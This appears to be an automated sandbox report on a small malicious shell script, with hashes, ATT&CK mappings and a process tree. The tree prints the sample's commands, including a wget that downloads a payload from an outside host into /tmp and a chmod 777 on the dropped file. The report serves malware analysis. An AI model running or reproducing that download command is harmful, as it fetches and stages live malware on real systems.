c8bad9a0c07276d54666aba8dcfea675f51ccbb95f4644c6f1eaf9fd66bc6c9e

Analysis

max time kernel
1s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
14/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c8bad9a0c07276d54666aba8dcfea675f51ccbb95f4644c6f1eaf9fd66bc6c9e.sh
Size 539B
Sample241114-dmmmxsterl
SHA256 c8bad9a0c07276d54666aba8dcfea675f51ccbb95f4644c6f1eaf9fd66bc6c9e
MD5 82360e95b621efb00d244c8c47978fe1
SHA1 38f5266a023a4d7a8a67781fa6134bc5fb32d9bb
SHA512 2b06c56f859eb9bc7ecdff22e85e8c7b98727894acff809ca6e70e096a4cc704217390ba8260b78dc2654081b6e1f13a52a2b3e8ed10e260ec558b5cfd84ab6c
MD5 SHA1 SHA512

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
671	chmod

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.JuZtaZfwPw	mktemp
File opened for modification	/tmp/tmp.JuZtaZfwPw	wget

/tmp/c8bad9a0c07276d54666aba8dcfea675f51ccbb95f4644c6f1eaf9fd66bc6c9e.sh
/tmp/c8bad9a0c07276d54666aba8dcfea675f51ccbb95f4644c6f1eaf9fd66bc6c9e.sh
1⤵
PID:648
- /usr/bin/dirname
  dirname -- /tmp/c8bad9a0c07276d54666aba8dcfea675f51ccbb95f4644c6f1eaf9fd66bc6c9e.sh
  2⤵
  PID:656
- /bin/mktemp
  mktemp
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/wget
  wget -O /tmp/tmp.JuZtaZfwPw https://cryptor.live/crypt/ct872/api/6c32NmxVIhq5PMiRqFtg3YtQapLydYti --header "Host: cryptor.live" --no-check-certificate --retry-connrefused "--waitretry=1" "--read-timeout=20" "--timeout=15" -t 0
  2⤵
  - Writes file to tmp directory
  PID:660
- /bin/chmod
  chmod 777 /tmp/2.jpg
  2⤵
  - File and Directory Permissions Modification
  PID:671

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads